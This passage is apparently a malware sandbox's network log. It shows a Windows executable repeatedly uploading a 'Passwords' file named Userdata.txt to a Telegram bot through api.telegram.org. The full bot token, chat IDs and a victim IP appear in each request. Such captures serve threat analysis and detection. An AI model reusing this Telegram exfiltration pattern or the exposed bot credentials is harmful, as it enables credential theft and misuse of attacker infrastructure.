2025-01-10 18:56:49 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 36 32 30 61 30 66 37 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd324620a0f79fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:50 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:50 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44614,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535409,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	50000	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:51 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32591250daf8 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 39 31 32 35 30 64 61 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32591250daf8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:51 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:52 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 31 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44615,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535411,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	50002	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:53 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd326ea7100d5c Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:53 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 36 65 61 37 31 30 30 64 35 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd326ea7100d5cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:53 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:53 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44616,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535413,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	50004	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:55 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd328179a8fd74 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 38 31 37 39 61 38 66 64 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd328179a8fd74Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:55 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:55 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44617,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535415,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	50006	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:56 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32943d993b6f Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:56 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 39 34 33 64 39 39 33 62 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32943d993b6fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:56 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:57 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 31 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44618,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535416,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	50008	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:58 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32a447bdac83 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:56:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 61 34 34 37 62 64 61 63 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32a447bdac83Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:56:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:56:58 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:56:58 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44619,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535418,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	50010	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:00 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32b6f09fd9a8 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 62 36 66 30 39 66 64 39 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32b6f09fd9a8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:00 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:00 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44620,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535420,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	50012	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:01 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32c98ada1a3c Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 63 39 38 61 64 61 31 61 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32c98ada1a3cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:02 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
